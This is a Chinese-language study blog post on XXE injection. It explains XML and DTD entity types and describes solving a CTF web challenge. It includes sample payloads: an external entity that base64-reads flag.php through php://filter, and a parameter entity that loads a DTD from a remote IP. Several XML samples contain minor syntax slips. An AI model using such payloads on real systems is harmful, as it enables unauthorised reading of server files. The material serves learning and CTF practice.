前言
这里主要记录一下这几天学习xxe的内容,以及自己的一些心得体会
以下是本篇文章正文内容
一、XXE概念
XXE全称是XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。
二、基础知识
1.XML
1、特征
✦ XML是可扩展标记语言(EXtensible Markup Language),是一种很像HTML的标记语言。
✦XML被设计用来传输和存储数据,HTML则用来显示数据
✦XML标签没有被预定义,需要自定义标签
✦是W3C的推荐标准
2、XML文档结构
✦XML声明
✦DTD文档类型定义
✦文档元素
基本框架如下:
<!--这是注释-->
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
2.DTD介绍
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束,也就是说,DTD是用来规范XML文档的格式的。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
(网上有提到的引用公共DTD其实也算外部引用DTD的一种)
一下是几种实体的格式:
✦内部实体
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
✦内部参数实体
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
<!-- awsl -->
✦外部实体
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
✦外部参数实体
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
三、XXE漏洞原理及相关题目
1、原理
刚才介绍过,XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是XML外部实体,注意这四个字,外部实体。如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。2、题目
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
xxe 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。
题目链接http://web.jarvisoj.com:9882/
点击链接没有明显的回应,查看源码没有什么有用的信息,尝试抓包
尝试将将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE,先内部注入,看xml是否能被解析
可以被解析,先尝试外部注入,
发现可以读取文件,找到flag
这篇文章详细讲了xxe漏洞许多其他方面的应用,这里就不多说了
https://xz.aliyun.com/t/3357#toc-5
总结
总的来说,知识面还是比较狭窄,只是对之前学习的关于xxe的基础知识进行大概的总结,还有许多细节方面没有写完整,对于xxe漏洞复现和实操还没有过多的深入。笔者将会继续学习这方面的知识,争取对xxe有更深的认识
参考文献:https://www.cnblogs.com/20175211lyz/p/11413335.html
https://xz.aliyun.com/t/3357#toc-4
https://xz.aliyun.com/t/3357#toc-24